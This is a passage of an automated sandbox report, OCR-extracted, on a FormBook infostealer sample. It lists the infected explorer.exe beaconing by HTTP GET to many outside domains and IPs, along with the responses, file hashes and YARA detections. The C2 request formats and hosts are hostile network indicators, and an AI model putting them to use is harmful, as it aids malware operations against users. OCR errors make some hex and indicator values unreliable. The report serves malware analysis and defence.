Connection: close

Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e Oa 3c 68 74 6d 6¢ 20 6¢ 61 6e 67 3d 22 65 6e 22 3e Oa 3c 68 65
61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22
20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6¢ 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 20 20 20
20 3c 6¢ 69 6e 6b 20 72 65 6¢ 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 64 61 74 61 3a 69 6d
61 67 65 2f 78 2d 69 63 6f 6e 3b 2c 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 3e 0a 20 20 20 20 3c
74 69 74 6¢ 65 3e 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6¢ 65 3e Oa 3c 2f 68 65 61 64 3e Oa 3c 62 6f 64 79 3e Oa 3c
68 31 3e 41 63 63 65 73 73 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e Oa 3c 2f 62 6f 64 79 3e Oa 3c 2f 68 74 6d 6¢ 3e
Oa

Data Ascii: <IDOCTYPE html><html lang="en"><head> <meta http-equiv="content-type" content="text/html;charset=utf-
8"> <link rel="shortcut icon" href="data:image/x-icon;," type="image/x-icon">  <title>Forbidden</titte></head><body>
<h1>Access Forbidden</h1></body></html>

Destination IP Destination Port Process

50.87.176.30 80 C:\Windows\explorer.exe

Data

GET /bOus/?ER-tHjR=XOV60vimagekMspvFU+0rKPDIlyXSEiaRHynKCSPj1mvOyDA4pkDpWyOZGigF6MKTilgG5Hmf
PXw==&7nB=048X HTTP/1.1

Host: www.improvfilmproduction.com

Connection: close

Data Raw: 00 00 00 00 00 00 00

Data Ascii:

HTTP/1.1 404 Not Found

Date: Wed, 27 Oct 2021 15:50:42 GMT

Server: Apache

Content-Length: 315

Connection: close

Content-Type: text/html; charset=iso-8859-1

Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48
54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6¢ 3e 3¢ 68 65 61 64 3e 0a 3¢ 74 69 74 6¢ 65 3e 34 30 34 20 4e 6f
74 20 46 6f 75 6e 64 3c 2f 74 69 74 6¢ 65 3e Oa 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e Oa 3c 68 31 3e 4e 6f 74 20 46 6f
75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4¢ 20 77 61 73 20 6e 6f 74 20 66 6f
75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e Oa 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6¢ 6¢ 79 2¢
20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77
68 69 6¢ 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68
61 6e 64 6¢ 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e Oa 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6¢ 3e Oa

Data Ascii: <IDOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><htm|><head><title>404 Not Found</title></head>
<body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founde
rror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>

Destination IP Destination Port Process

35.186.238.101 80 C:\Windows\explorer.exe

Data

GET /b0us/?7nB=048X&ER-tHjR=IHM7DXgJMOIXRilvQCzDYuNSepBShfVGHLX9uFmM0ofOXeJBRLoxX1psSi4oyGmy
zdtrRcHIstiA== HTTP/1.1

Host: www.olympiaapartment.com

Connection: close

Data Raw: 00 00 00 00 00 00 00

Data Ascii:
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kBytes

Timestamp transferred
Oct 27, 2021 5749
17:50:47.373639107 CEST
Session ID Source IP
3 192.168.2.6
kBytes
Timestamp transferred
Oct 27, 2021 7472

17:51:02.783266068 CEST

Oct 27, 2021 7472
17:51:02.800110102 CEST

Session ID Source IP
4 192.168.2.6

kBytes
Timestamp transferred
Oct 27, 2021 7500

17:51:07.874152899 CEST

Oct 27, 2021 7501
17:51:07.902292013 CEST

Copyright Joe Security LLC 2021

Direction

IN

Source Port

49802

Direction

ouT

Source Port
49815

Direction
ouT

Data

HTTP/1.1 403 Forbidden

Server: openresty

Date: Wed, 27 Oct 2021 15:50:47 GMT

Content-Type: text/html

Content-Length: 275

ETag: "6175c221-113"

Via: 1.1 google

Connection: close

Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6¢ 3e 0a 3c 68 74 6d 6¢ 20 6¢ 61 6e 67 3d 22 65 6e 22 3e Oa 3c 68 65
61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22
20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6¢ 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 20 20 20
20 3c 6¢ 69 6e 6b 20 72 65 6¢ 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 64 61 74 61 3a 69 6d
61 67 65 2f 78 2d 69 63 6f 6e 3b 2¢ 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 3e 0a 20 20 20 20 3c
74 69 74 6¢ 65 3e 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6¢ 65 3e 0a 3c 2f 68 65 61 64 3e Oa 3c 62 6f 64 79 3e Oa 3c
68 31 3e 41 63 63 65 73 73 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 0a 3c 2f 62 6f 64 79 3e Oa 3c 2f 68 74 6d 6¢ 3e
Oa

Data Ascii: <IDOCTYPE html><html lang="en"><head> <meta http-equiv="content-type" content="text/html;charset=utf-
8"> <link rel="shortcut icon" href="data:image/x-icon;," type="image/x-icon">  <title>Forbidden</title></head><body>
<h1>Access Forbidden</h1></body></html>

Destination IP Destination Port Process

192.0.78.25 80 C:\Windows\explorer.exe

Data

GET /bOus/?ER-tHjR=nj2DHCJ30hKQOuuh7v1Jr5ANXhhKiZRTWmKDhPt9Qsa3u7kGOyWIFw/1cLMOhBLADgukMw6
nkg==&7nB=048X HTTP/1.1

Host: www.malatirada.com

Connection: close

Data Raw: 00 00 00 00 00 00 00

Data Ascii:

HTTP/1.1 301 Moved Permanently

Server: nginx

Date: Wed, 27 Oct 2021 15:51:02 GMT

Content-Type: text/html

Content-Length: 162

Connection: close

Location: https://www.malatirada.com/bOus/?ER-tHjR=nj2DHCJ30hKQOuuh7v1JIr5ANXhhKiZRTWmKDhPt9Qsa3u7kG0
YWIFw/1cLMOhBLADgukMw6nkg==&7nB=048X

X-ac: 2.hhn _dfw

Data Raw: 3¢ 68 74 6d 6¢ 3e 0d Oa 3c 68 65 61 64 3e 3¢ 74 69 74 6¢ 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61
6e 65 6e 74 6¢ 79 3c 2f 74 69 74 6¢ 65 3e 3c 2f 68 65 61 64 3e 0d Oa 3c 62 6f 64 79 3e 0d Oa 3¢ 63 65 6e 74 65 72 3e 3¢
68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6¢ 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d Oa
3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d Oa 3c 2f 62 6f 64 79 3e 0d Oa 3c 2f 68
74 6d 6¢ 3e 0d Oa

Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1
></center><hr><center>nginx</center></body></html>

Destination IP  Destination Port Process

104.21.40.182 80 C:\Windows\explorer.exe

Data

GET /b0us/?7nB=048X&ER-tHjR=GIwWehbs5GtgA/[CTmLXW+d7JevtbaljivkLIpCykHSB4/chqGbz0ZWPyKEWOK
JPWZtZaAylaQ== HTTP/1.1

Host: www.finansresultation.com

Connection: close

Data Raw: 00 00 00 00 00 00 00

Data Ascii:

HTTP/1.1 301 Moved Permanently

Date: Wed, 27 Oct 2021 15:51:07 GMT

Transfer-Encoding: chunked

Connection: close

Cache-Control: max-age=3600

Expires: Wed, 27 Oct 2021 16:51:07 GMT

Location: https://www.finansresultation.com/b0Ous/?7nB=048X&ER-tHjR=GIwWehbs5GtgA/jCTmLXW+d7Jevtbalji
VKLIpCykHSB4/chqGbz0ZWPYKEWOKJIPWZtZaAylaQ==

Report-To: {"endpoints":[{"url":"https:VVa.nel.cloudflare.com\/report\/v3?s=xtsbOpd AtO6 UWAXrS53vgqDQTVQjPXF%2
Fh7AXN6D%2FoMS7RB7d5EBKii2f2vPoymx%2FAhanGIOLnIQVx19PrdH6q960gsKrUYEnkdLSP2Ki72%2FS7p%2F%2
BSTODNmwdjXpEGCKSf2LbcL%2BmXsWI8CB4u"}],"group":“cf-nel","max_age":604800}

NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}

Server: cloudflare

CF-RAY: 6a4d15823f7442e1-FRA

alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400

Data Raw: 30 0d Oa 0d Oa

Data Ascii: 0
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Session ID Source IP
5 192.168.2.6
kBytes
Timestamp transferred
Oct 27, 2021 7536
17:51:12.964931965 CEST
Oct 27, 2021 7537
17:51:13.296627045 CEST
Session ID Source IP
6 192.168.2.6
kBytes
Timestamp transferred
Oct 27, 2021 7546

17:51:18.361021996 CEST

Copyright Joe Security LLC 2021

Source Port

49829

Direction

ouT

Source Port

49833

Direction

ouT

Destination IP Destination Port Process

104.21.45.211 80 C:\Windows\explorer.exe

Data

GET /bOus/?ER-tHjR=Jj3KnWU2wHfhK+BIDgyhqSxeJEURVrle6 TPUVLIqsqCsrOViG9y5Fh94G4BOAZ9I+plsxBU
1/Q==&7nB=048X HTTP/1.1

Host: www.rxgmarket.com

Connection: close

Data Raw: 00 00 00 00 00 00 00

Data Ascii:

HTTP/1.1 404 Not Found

Date: Wed, 27 Oct 2021 15:51:13 GMT

Content-Type: text/html; charset=iso-8859-1

Transfer-Encoding: chunked

Connection: close

CF-Cache-Status: DYNAMIC

Report-To: {"endpoints":[{"url":"https:VVa.nel.cloudflare.comV/report\/\v3?s=Bz3Z9xDKX9gXLWedJeYbmge4wi2s4eO3
jBbJQMiMyNHDIEsXgBZ7mHx2nwoUFffwMZYPSWVaKAbLAX3R7%2F61%2FOwe3bPbgDMXRJIvrtUpWhVkm4
%2BufBQexIKs5sYLWh88gtWNOc0g%3D%3D"}],"group":"cf-nel","max_age":604800}

NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}

Server: cloudflare

CF-RAY: 6a4d15a21fe05bf1-FRA

alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400

Data Raw: 31 30 37 0d Oa 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f
44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e Oa 3c 68 74 6d 6¢ 3e 3¢ 68 65 61 64 3e 0a 3¢ 74 69 74 6¢ 65 3e 34
30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6¢ 65 3e Oa 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e Oa 3c 68 31 3e 4e 6f
74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f
74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e Oa 3¢ 68 72 3e Oa 3c 61 64 64 72 65 73
733e 417061 63 6865 2053 65 72 76 65 72 20 61 74 20 77 77 77 2e 72 78 67 6d 61 72 6b 65 74 2e 63 6f 6d 20 50 6f
7274 2038 30 3c 2f 61 64 64 72 65 73 73 3e Oa 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6¢ 3e Oa 0d Oa

Data Ascii: 107<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><htmI><head><title>404 Not Found</title>
</head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><hr><address>Apache
Server at www.rxgmarket.com Port 80</address></body></html>

Destination IP Destination Port Process

23.227.38.74 80 C:\Windows\explorer.exe

Data

GET /bOus/?7nB=048X&ER-tHjR=gHtktScKtff4xVk3YRyKSNbVreJpCBobm1lhD3pS9EMOhSghOP3G/JLMMDt6OL
302Wx4R+w50g== HTTP/1.1

Host: www.joystoreworld.com

Connection: close

Data Raw: 00 00 00 00 00 00 00

Data Ascii:
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kBytes

Timestamp transferred

Oct 27, 2021 7547

17:51:18.402849913 CEST

Session ID Source IP

7 192.168.2.6
kBytes

Timestamp transferred

Oct 27, 2021 7553

17:51:23.665467978 CEST

Oct 27, 2021 7554

17:51:23.857836962 CEST

Session ID Source IP

8 192.168.2.6

Copyright Joe Security LLC 2021

Direction

IN

Source Port
49834

Direction
ouT

Source Port

49835

Data

HTTP/1.1 403 Forbidden

Date: Wed, 27 Oct 2021 15:51:18 GMT

Content-Type: text/html

Transfer-Encoding: chunked

Connection: close

Vary: Accept-Encoding

X-Sorting-Hat-Podld: -1

X-Request-1D: d3f121e3-1b05-4bdd-beea-f59c42222099

X-Permitted-Cross-Domain-Policies: none

X-XSS-Protection: 1; mode=block

X-Download-Options: noopen

X-Content-Type-Options: nosniff

X-Dc: gcp-europe-westl

CF-Cache-Status: DYNAMIC

Server: cloudflare

CF-RAY: 6a4d15c3ce834e0e-FRA

alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400

Data Raw: 31 34 31 64 0d Oa 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6¢ 3e Oa 3c 68 74 6d 6¢ 20 6¢ 61 6e 67 3d 22 65 6e
22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 20 2f 3e Oa
202020 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 65 66 65 72 72 65 72 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 65 76 65
72 22 20 2f 3e 0a 20 20 20 20 3c 74 69 74 6¢ 65 3e 41 63 63 65 73 73 20 64 65 6e 69 65 64 3c 2f 74 69 74 6¢ 65 3e Oa 20
2020 20 3c 73 74 79 6¢ 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 20 20 20 20 20 20 20 20 2a 7b 62 6f 78
2d 73 69 7a 69 6e 67 3a 62 6f 72 64 65 72 2d 62 6f 78 3b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 7
4 6d 6¢ 7b 66 6f 6e 74 2d 66 61 6d 69 6¢ 79 3a 22 48 65 6¢ 76 65 74 69 63 61 20 4e 65 75 65 22 2¢ 48 65 6C 76 65 74 69
63 61 2c 41 72 69 61 6¢ 2c 73 61 6e 73 2d 73 65 72 69 66 3b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 46 31 46 31 46 31 3b
66 6f 6e 74 2d 73 69 7a 65 3a 36 32 2e 35 25 3b 63 6f 6¢ 6f 72 3a 23 33 30 33 30 33 30 3b 6d 69 6e 2d 68 65 69 67 68 74
3a31 303025 7d 62 6f 64 79 7b 70 61 64 64 69 6e 67 3a 30 3b 6d 61 72 67 69 6e 3a 30 3b 6¢ 69 6e 65 2d 68 65 69 67
68 74 3a 32 2e 37 72 65 6d 7d 61 7b 63 6f 6¢ 6f 72 3a 23 33 30 33 30 33 30 3b 62 6f 72 64 65 72 2d 62 6f 74 74 6f 6d 3a
3170 78 20 73 6f 6¢ 69 64 20 23 33 30 33 30 33 30 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 3b 70
61 64 64 69 6e 67 2d 62 6f 74 74 6f 6d 3a 31 72 65 6d 3b 74 72 61 6e 73 69 74 69 6f 6e 3a 62 6f 72 64 65 72 2d 63 6f 6¢
6f 72 20 30 2e 32 73 20 65 61 73 65 2d 69 6e 7d 61 3a 68 6f 76 65 72 7b 62 6f 72 64 65 72 2d 62 6f 74 74 6f 6d 2d 63 6f
6c 6f 72 3a 23 41 39 41 39 41 39 7d 68 31 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 38 72 65 6d 3b 66 6f 6e 74 2d 77 65 69
67 68 74 3a 34 30 30 3b 6d 61 72 67 69 6e 3a 30 20 30 20 31 2e 34 72 65 6d 20 30 7d 70 7b 66 6f 6e 74 2d 73 69 7a 65
3a 31 2e 357265 6d3b6d 61 72 67 69 6e 3a 30 7d 2e 70 61 67 65 7b 70 61 64 64 69 6e 67 3a 34 72 65 6d 20 33 2e 35
7265 6d 3b 6d 61 72 67 69 6e 3a 30 3b 64 69 73 70 6¢ 61 79 3a 66 6¢ 65 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 30
30 76 68 3b 66 6¢ 65 78 2d 64 69 72 65 63 74 69 6f 6e 3a 63 6f 6¢ 75 6d 6e 7d 2e 74 65 78 74 2d 63 6f 6e 74 61 69 6e 65
72 2d 2d 6d 61 69 6e 7b 66 6¢ 65 78 3a 31 3b 64 69 73

Data Ascii: 141d<!DOCTYPE html><html lang="en"><head> <meta charset="utf-8" /> <meta name="referrer" con
tent="never" /> <title>Access denied</title> <style type="text/css"> *{box-sizing:border-box;margin:0;paddi
ng:0}htmli{font-family:"Helvetica Neue",Helvetica,Arial,sans-serif;background:#F1F1F1;font-size:62.5%;color:#303030;min-
height:100%}body{padding:0;margin:0;line-height:2.7rem}a{color:#303030;border-bottom:1px solid #303030;text-dec
oration:none;padding-bottom:1rem;transition:border-color 0.2s ease-in}a:hover{border-bottom-color:#A9A9A9}h1{font-
size:1.8rem;font-weight:400;margin:0 0 1.4rem O}p{font-size:1.5rem;margin:0}.page{padding:4rem 3.5rem;margin:0;displ
ay:flex;min-height:100vh;flex-direction:column}.text-container--main{flex:1;dis

Destination IP  Destination Port Process

142.4.98.67 80 C:\Windows\explorer.exe

Data

GET /bOus/?ER-tHjR=uvxArRkDFQla7UH5wTzWyAGdj7XK8ywupwRjYW67zA7TIC7ZzzoRfWk1xHO/TMI+llica6R
FKw==&7nB=048X HTTP/1.1

Host: www.bbyyn10.xyz

Connection: close

Data Raw: 00 00 00 00 00 00 00

Data Ascii:

HTTP/1.1 200 OK

Server: nginx

Date: Wed, 27 Oct 2021 15:48:07 GMT

Content-Type: text/html;charset=utf8

Transfer-Encoding: chunked

Connection: close

Vary: Accept-Encoding

Data Raw: 66 32 0d Oa 3c 68 74 6d 6¢ 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 20 2f 3e 3c 74
69 74 6¢ 65 3e e6 a3 80 e6 b5 8b e4 b8 ad 3¢ 2f 74 69 74 6¢ 65 3e 3c 64 69 76 3e e8 b7 b3 e8 bd ac e4 b8 ad 3c 2f 64 69
76 3e 3c 2f 68 74 6d 6¢ 3e 0a 3c 73 63 72 69 70 74 3e 20 77 69 6e 64 6f 77 2e 6¢ 6f 63 61 74 69 6f 6e 2e 68 72 65 66 20
3d 22 2f 62 30 75 73 2f 3f 45 52 2d 74 48 6a 52 3d 75 76 78 41 72 52 6b 44 46 51 49 61 37 55 48 35 77 54 7a 57 79 41 47
64 6a 37 58 4b 38 79 77 75 70 77 52 6a 59 57 36 37 7a 41 37 54 6¢ 43 37 5a 7a 7a 6f 52 66 57 6b 31 78 48 4f 2f 54 4d 6¢
2b 6c 49 6¢ 63 61 36 52 46 4b 77 3d 3d 26 37 6e 42 3d 6f 34 38 58 26 62 74 77 61 66 3d 37 36 31 39 32 33 35 39 22 3b
20 3c 2f 73 63 72 69 70 74 3e Oa 0d Oa 30 0d Oa 0d Oa

Data Ascii: f2<html><meta charset="utf-8" /><title></title><div></div></html><script> window.location.href ="/bOus/?ER-t
HjR=uvxArRkDFQIla7UH5WTzWyAGdj7XK8ywupwRjYW67zA7TIC7ZzzoRfWk1xHO/TMI+lllca6RFKw==& 7TnB=048X&
btwaf=76192359"; </script>0

Destination IP Destination Port Process

34.102.136.180 80 C:\Windows\explorer.exe
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kBytes

Timestamp transferred

Oct 27, 2021 7555

17:51:28.908404112 CEST

Oct 27, 2021 7555

17:51:29.023747921 CEST

Session ID Source IP

9 192.168.2.6
kBytes

Timestamp transferred

Oct 27, 2021 7556

17:51:34.243393898 CEST

Code Manipulations

Statistics

Behavior

Direction

ouT

Source Port

49836

Direction

ouT

\;’ Click to jump to process

System Behavior

Data

GET /b0us/?7nB=048X&ER-tHjR=twm/1Bp31EHO0Ih+sIHhgkxpvXOzGUgtw6+dZfZW7p7V/jiZPQGLQCd1AR8vD1T
jU5s4Z04EDOQ== HTTP/1.1

Host: www.inkedbreadcompany.com

Connection: close

Data Raw: 00 00 00 00 00 00 00

Data Ascii:

HTTP/1.1 403 Forbidden

Server: openresty

Date: Wed, 27 Oct 2021 15:51:28 GMT

Content-Type: text/html

Content-Length: 275

ETag: "61774872-113"

Via: 1.1 google

Connection: close

Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e Oa 3c 68 74 6d 6¢ 20 6¢ 61 6e 67 3d 22 65 6e 22 3e Oa 3c 68 65
61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22
20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6¢ 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 20 20 20
20 3c 6¢ 69 6e 6b 20 72 65 6¢ 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 64 61 74 61 3a 69 6d
61 67 65 2f 78 2d 69 63 6f 6e 3b 2c 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 3e 0a 20 20 20 20 3c
74 69 74 6¢ 65 3e 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6¢ 65 3e Oa 3c 2f 68 65 61 64 3e Oa 3c 62 6 64 79 3e Oa 3c
68 31 3e 41 63 63 65 73 73 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e Oa 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6¢ 3e
Oa

Data Ascii: <IDOCTYPE html><html lang="en"><head> <meta http-equiv="content-type" content="text/html;charset=utf-
8"> <link rel="shortcut icon" href="data:image/x-icon;," type="image/x-icon">  <title>Forbidden</titte></head><body>
<h1>Access Forbidden</h1></body></html>

Destination IP Destination Port Process

198.54.117.217 80 C:\Windows\explorer.exe

Data

GET /bOus/?ER-tHjR=NeMtgU3TUgkyahWOuk7UbKtu2f6 OPWemmRyjHCkgk8IKIDy56aF QIEm/TIxXDeQeO1Mybhr
nNKA==&7nB=048X HTTP/1.1

Host: www.insularrofioa.xyz

Connection: close

Data Raw: 00 00 00 00 00 00 00

Data Ascii:

Analysis Process: Betalingskvittering.exe PID: 6364 Parent PID: 1612

General

Start time:

Start date:

Path:

Wow64 process (32bit):
Commandline:

Imagebase:

Copyright Joe Security LLC 2021

17:49:31

27/10/2021
C:\Users\user\Desktop\Betalingskvittering.exe
true
‘C:\Users\user\Desktop\Betalingskvittering.exe'

0x400000
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File size: 334436 bytes

MDS5 hash: FF904170AD5767DB6B6066400972CC99

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Yara matches: e Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source:
00000000.00000002.355968847.000000000F010000.00000004.00000001.sdmp, Author:
Joe Security

e Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator,
Source: 00000000.00000002.355968847.000000000F010000.00000004.00000001.sdmp,
Author: Felix Bilstein - yara-signator at cocacoding dot com

e Rule: Formbook, Description: detect Formbook in memory, Source:
00000000.00000002.355968847.000000000F010000.00000004.00000001.sdmp, Author:
JPCERT/CC Incident Response Group

Reputation: low

File Activities Show Windows behavior

File Created

File Deleted

File Written

File Read

Analysis Process: Betalingskvittering.exe PID: 6404 Parent PID: 6364

General

Start time: 17:49:32

Start date: 27/10/2021

Path: C:\Users\user\Desktop\Betalingskvittering.exe
Wow64 process (32bit): true

Commandline: ‘C:\Users\user\Desktop\Betalingskvittering.exe'
Imagebase: 0x400000

File size: 334436 bytes

MD5 hash: FF904170AD5767DB6B6066400972CC99
Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language
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Yara matches:

Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source:
00000001.00000002.408929126.00000000008E0000.00000040.00020000.sdmp, Author:
Joe Security

Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator,
Source:
00000001.00000002.408929126.00000000008E0000.00000040.00020000.sdmp, Author:
Felix Bilstein - yara-signator at cocacoding dot com

Rule: Formbook, Description: detect Formbook in memory, Source:
00000001.00000002.408929126.00000000008E0000.00000040.00020000.sdmp, Author:
JPCERT/CC Incident Response Group

Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source:
00000001.00000001.354177751.0000000000400000.00000040.00020000.sdmp, Author:
Joe Security

Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator,
Source: 00000001.00000001.354177751.0000000000400000.00000040.00020000.sdmp,
Author: Felix Bilstein - yara-signator at cocacoding dot com

Rule: Formbook, Description: detect Formbook in memory, Source:
00000001.00000001.354177751.0000000000400000.00000040.00020000.sdmp, Author:
JPCERT/CC Incident Response Group

Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source:
00000001.00000002.408900665.00000000008A0000.00000040.00020000.sdmp, Author:
Joe Security

Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator,
Source:
00000001.00000002.408900665.00000000008A0000.00000040.00020000.sdmp, Author:
Felix Bilstein - yara-signator at cocacoding dot com

Rule: Formbook, Description: detect Formbook in memory, Source:
00000001.00000002.408900665.00000000008A0000.00000040.00020000.sdmp, Author:
JPCERT/CC Incident Response Group

Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source:
00000001.00000000.352288069.0000000000400000.00000040.00000001.sdmp, Author:
Joe Security

Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator,
Source: 00000001.00000000.352288069.0000000000400000.00000040.00000001.sdmp,
Author: Felix Bilstein - yara-signator at cocacoding dot com

Rule: Formbook, Description: detect Formbook in memory, Source:
00000001.00000000.352288069.0000000000400000.00000040.00000001.sdmp, Author:
JPCERT/CC Incident Response Group

Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source:
00000001.00000000.353756181.0000000000400000.00000040.00000001.sdmp, Author:
Joe Security

Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator,
Source: 00000001.00000000.353756181.0000000000400000.00000040.00000001.sdmp,
Author: Felix Bilstein - yara-signator at cocacoding dot com

Rule: Formbook, Description: detect Formbook in memory, Source:
00000001.00000000.353756181.0000000000400000.00000040.00000001.sdmp, Author:
JPCERT/CC Incident Response Group

Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source:
00000001.00000002.408792775.0000000000400000.00000040.00000001.sdmp, Author:
Joe Security

Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator,
Source: 00000001.00000002.408792775.0000000000400000.00000040.00000001.sdmp,
Author: Felix Bilstein - yara-signator at cocacoding dot com

Rule: Formbook, Description: detect Formbook in memory, Source:
00000001.00000002.408792775.0000000000400000.00000040.00000001.sdmp, Author:
JPCERT/CC Incident Response Group

Reputation: low
File Activities Show Windows behavior
File Read
Analysis Process: explorer.exe PID: 3440 Parent PID: 6404

General

Start time: 17:49:37

Start date: 27/10/2021

Path: C:\Windows\explorer.exe

Wow64 process (32bit): false

Commandline: C:\Windows\Explorer.EXE

Imagebase: 0x7ff6f22f0000

File size: 3933184 hytes

MDS5 hash: AD5296B280E8F522A8A897C96BABOE1D

Has elevated privileges:
Has administrator privileges:

Programmed in:

Copyright Joe Security LLC 2021

true
true

C, C++ or other language
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Yara matches:

e Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source:
00000004.00000000.375505765.00000000075C7000.00000040.00020000.sdmp, Author:
Joe Security

e Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator,
Source:
00000004.00000000.375505765.00000000075C7000.00000040.00020000.sdmp, Author:
Felix Bilstein - yara-signator at cocacoding dot com

e Rule: Formbook, Description: detect Formbook in memory, Source:
00000004.00000000.375505765.00000000075C7000.00000040.00020000.sdmp, Author:
JPCERT/CC Incident Response Group

